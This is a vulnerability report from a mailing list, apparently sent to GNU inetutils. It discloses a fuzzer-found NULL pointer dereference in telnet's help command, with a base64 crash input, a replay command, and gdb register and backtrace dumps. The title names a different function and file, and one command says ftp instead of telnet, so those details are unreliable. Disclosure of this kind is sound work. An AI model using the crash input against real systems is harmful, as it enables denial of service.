**command:** ``` ./telnet < ./poc ```
AiDai <wyxai...@gmail.com> 于2021年12月23日周四 21:11写道： > # NULL Pointer Dereference in setnmap() at cmds.c:2303 > > ## Description > > A NULL Pointer Dereference was discovered in help() at > inetutils/telnet/commands.c:3094. The vulnerability causes a segmentation > fault and application crash. > > **version** > > ``` > ./telnet --version > telnet (GNU inetutils) 2.2.16-cf091 > Copyright (C) 2021 Free Software Foundation, Inc. > License GPLv3+: GNU GPL version 3 or later < > https://gnu.org/licenses/gpl.html>. > This is free software: you are free to change and redistribute it. > There is NO WARRANTY, to the extent permitted by law. > > Written by many authors. > ``` > > **System information** > Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz > > ## Proof of Concept > > **poc** > > ``` > base64 poc > > ID8JCQn/CQn/CQj/////CQlkCQkJCQnwCQkJCQloCQkJCQn/////CQlkCQkJCQnwCQkJ7ekJCQkJ > CQkJCeoICQkZCQkJKiwJCQkJCQkJCQkJCQk= > ``` > > **command:** > > ``` > ./ftp < ./poc > ``` > > **Result** > > ``` > ./telnet < poc > telnet> ?Invalid help command � > ?Invalid help command � > ?Invalid help command���� > display operating parameters > ?Invalid help command � > [3] 398703 segmentation fault ./telnet < poc > ``` > > **gdb** > > ``` > Breakpoint 2, 0x000055555555dbd3 in help (argc=8, argv=0x55555557c130 > <margv+48>) at commands.c:3094 > 3094 printf ("%s\n", c->help); > LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA > ────────────────────────────────────────────[ REGISTERS > ]───────────────────────────────────────────── > *RAX 0x0 > *RBX 0x55555557b480 (cmdtab2) —▸ 0x555555571232 ◂— 0x6f6400706c6568 /* > 'help' */ > RCX 0x0 > *RDX 0xc6 > *RDI 0x0 > *RSI 0x5555555719cc ◂— 0x646f6d7263 /* 'crmod' */ > R8 0x0 > *R9 0x18 > R10 0x555555572ee2 ◂— 0x2500454d4f48000a /* '\n' */ > R11 0x246 > *R12 0x55555557befd (line+29) ◂— 0xffff090909090068 /* 'h' */ > R13 0x7fffffffe210 ◂— 0x1 > R14 0x0 > R15 0x0 > RBP 0x7fffffffe060 —▸ 0x7fffffffe090 —▸ 0x7fffffffe120 ◂— 0x0 > RSP 0x7fffffffe040 —▸ 0x55555557c130 (margv+48) —▸ 0x55555557befd > (line+29) ◂— 0xffff090909090068 /* 'h' */ > RIP 0x55555555dbd3 (help+212) ◂— call 0x555555559790 > ──────────────────────────────────────────────[ DISASM > ]────────────────────────────────────────────── > 0x55555555dbcc <help+205> mov rax, qword ptr [rbx + 8] > 0x55555555dbd0 <help+209> mov rdi, rax > ► 0x55555555dbd3 <help+212> call puts@plt <puts@plt> > s: 0x0 > > 0x55555555dbd8 <help+217> sub dword ptr [rbp - 0x14], 1 > 0x55555555dbdc <help+221> cmp dword ptr [rbp - 0x14], 0 > 0x55555555dbe0 <help+225> jg help+116 <help+116> > > 0x55555555dbe2 <help+227> mov eax, 0 > 0x55555555dbe7 <help+232> add rsp, 0x10 > 0x55555555dbeb <help+236> pop rbx > 0x55555555dbec <help+237> pop r12 > 0x55555555dbee <help+239> pop rbp > ──────────────────────────────────────────[ SOURCE (CODE) > ]─────────────────────────────────────────── > In file: /root/disk2/fuzzing/inetutils/inetutils/telnet/commands.c > 3089 if (Ambiguous (c)) > 3090 printf ("?Ambiguous help command %s\n", arg); > 3091 else if (c == (Command *) 0) > 3092 printf ("?Invalid help command %s\n", arg); > 3093 else > ► 3094 printf ("%s\n", c->help); > 3095 } > 3096 return 0; > 3097 } > 3098 > 3099 static char *rcname = 0; > ──────────────────────────────────────────────[ STACK > ]─────────────────────────────────────────────── > 00:0000│ rsp 0x7fffffffe040 —▸ 0x55555557c130 (margv+48) —▸ 0x55555557befd > (line+29) ◂— 0xffff090909090068 /* 'h' */ > 01:0008│ 0x7fffffffe048 ◂— 0x85557bee1 > 02:0010│ 0x7fffffffe050 —▸ 0x55555557b440 (cmdtab+480) —▸ > 0x55555557121b ◂— 0x616c70736944003f /* '?' */ > 03:0018│ 0x7fffffffe058 —▸ 0x555555559d20 (_start) ◂— endbr64 > 04:0020│ rbp 0x7fffffffe060 —▸ 0x7fffffffe090 —▸ 0x7fffffffe120 ◂— 0x0 > 05:0028│ 0x7fffffffe068 —▸ 0x55555555dab9 (command+550) ◂— test eax, > eax > 06:0030│ 0x7fffffffe070 ◂— 0x0 > 07:0038│ 0x7fffffffe078 ◂— 0x100000000 > ────────────────────────────────────────────[ BACKTRACE > ]───────────────────────────────────────────── > ► f 0 0x55555555dbd3 help+212 > f 1 0x55555555dab9 command+550 > f 2 0x55555555e3c8 main+776 > f 3 0x7ffff7db50b3 __libc_start_main+243 > > ────────────────────────────────────────────────────────────────────────────────────────────────────── > pwndbg> bt > #0 0x000055555555dbd3 in help (argc=8, argv=0x55555557c130 <margv+48>) at > commands.c:3094 > #1 0x000055555555dab9 in command (top=1, tbuf=0x0, cnt=0) at > commands.c:3044 > #2 0x000055555555e3c8 in main (argc=0, argv=0x7fffffffe220) at main.c:423 > #3 0x00007ffff7db50b3 in __libc_start_main (main=0x55555555e0c0 <main>, > argc=1, argv=0x7fffffffe218, init=<optimized out>, fini=<optimized out>, > rtld_fini=<optimized out>, stack_end=0x7fffffffe208) at > ../csu/libc-start.c:308 > #4 0x0000555555559d4e in _start () > ``` > > crash > > ``` > Program received signal SIGSEGV, Segmentation fault. > __strlen_avx2 () at ../sysdeps/x86_64/multiarch/strlen-avx2.S:65 > 65 ../sysdeps/x86_64/multiarch/strlen-avx2.S: No such file or > directory. > LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA > ────────────────────────────────────────────[ REGISTERS > ]───────────────────────────────────────────── > RAX 0x0 > RBX 0x55555557b480 (cmdtab2) —▸ 0x555555571232 ◂— 0x6f6400706c6568 /* > 'help' */ > RCX 0x0 > *RDX 0x0 > RDI 0x0 > RSI 0x5555555719cc ◂— 0x646f6d7263 /* 'crmod' */ > R8 0x0 > R9 0x18 > R10 0x555555572ee2 ◂— 0x2500454d4f48000a /* '\n' */ > R11 0x246 > *R12 0x0 > R13 0x7fffffffe210 ◂— 0x1 > R14 0x0 > R15 0x0 > RBP 0x7fffffffe060 —▸ 0x7fffffffe090 —▸ 0x7fffffffe120 ◂— 0x0 > *RSP 0x7fffffffe008 —▸ 0x7ffff7e155b4 (puts+20) ◂— mov r13, qword ptr > [rip + 0x16398d] > *RIP 0x7ffff7f19675 (__strlen_avx2+21) ◂— vpcmpeqb ymm1, ymm0, ymmword > ptr [rdi] > ──────────────────────────────────────────────[ DISASM > ]────────────────────────────────────────────── > ► 0x7ffff7f19675 <__strlen_avx2+21> vpcmpeqb ymm1, ymm0, ymmword ptr > [rdi] > 0x7ffff7f19679 <__strlen_avx2+25> vpmovmskb eax, ymm1 > 0x7ffff7f1967d <__strlen_avx2+29> test eax, eax > 0x7ffff7f1967f <__strlen_avx2+31> jne __strlen_avx2+272 > <__strlen_avx2+272> > ↓ > 0x7ffff7f19770 <__strlen_avx2+272> tzcnt eax, eax > 0x7ffff7f19774 <__strlen_avx2+276> add rax, rdi > 0x7ffff7f19777 <__strlen_avx2+279> sub rax, rdx > 0x7ffff7f1977a <__strlen_avx2+282> vzeroupper > 0x7ffff7f1977d <__strlen_avx2+285> ret > > 0x7ffff7f1977e <__strlen_avx2+286> nop > 0x7ffff7f19780 <__strlen_avx2+288> tzcnt eax, eax > ──────────────────────────────────────────────[ STACK > ]─────────────────────────────────────────────── > 00:0000│ rsp 0x7fffffffe008 —▸ 0x7ffff7e155b4 (puts+20) ◂— mov r13, > qword ptr [rip + 0x16398d] > 01:0008│ 0x7fffffffe010 —▸ 0x55555557b480 (cmdtab2) —▸ 0x555555571232 > ◂— 0x6f6400706c6568 /* 'help' */ > 02:0010│ 0x7fffffffe018 —▸ 0x7fffffffe060 —▸ 0x7fffffffe090 —▸ > 0x7fffffffe120 ◂— 0x0 > 03:0018│ 0x7fffffffe020 —▸ 0x55555557befd (line+29) ◂— > 0xffff090909090068 /* 'h' */ > 04:0020│ 0x7fffffffe028 —▸ 0x7fffffffe210 ◂— 0x1 > 05:0028│ 0x7fffffffe030 ◂— 0x0 > 06:0030│ 0x7fffffffe038 —▸ 0x55555555dbd8 (help+217) ◂— sub dword > ptr [rbp - 0x14], 1 > 07:0038│ 0x7fffffffe040 —▸ 0x55555557c130 (margv+48) —▸ 0x55555557befd > (line+29) ◂— 0xffff090909090068 /* 'h' */ > ────────────────────────────────────────────[ BACKTRACE > ]───────────────────────────────────────────── > ► f 0 0x7ffff7f19675 __strlen_avx2+21 > f 1 0x7ffff7e155b4 puts+20 > f 2 0x55555555dbd8 help+217 > f 3 0x55555555dab9 command+550 > f 4 0x55555555e3c8 main+776 > f 5 0x7ffff7db50b3 __libc_start_main+243 > ``` > >
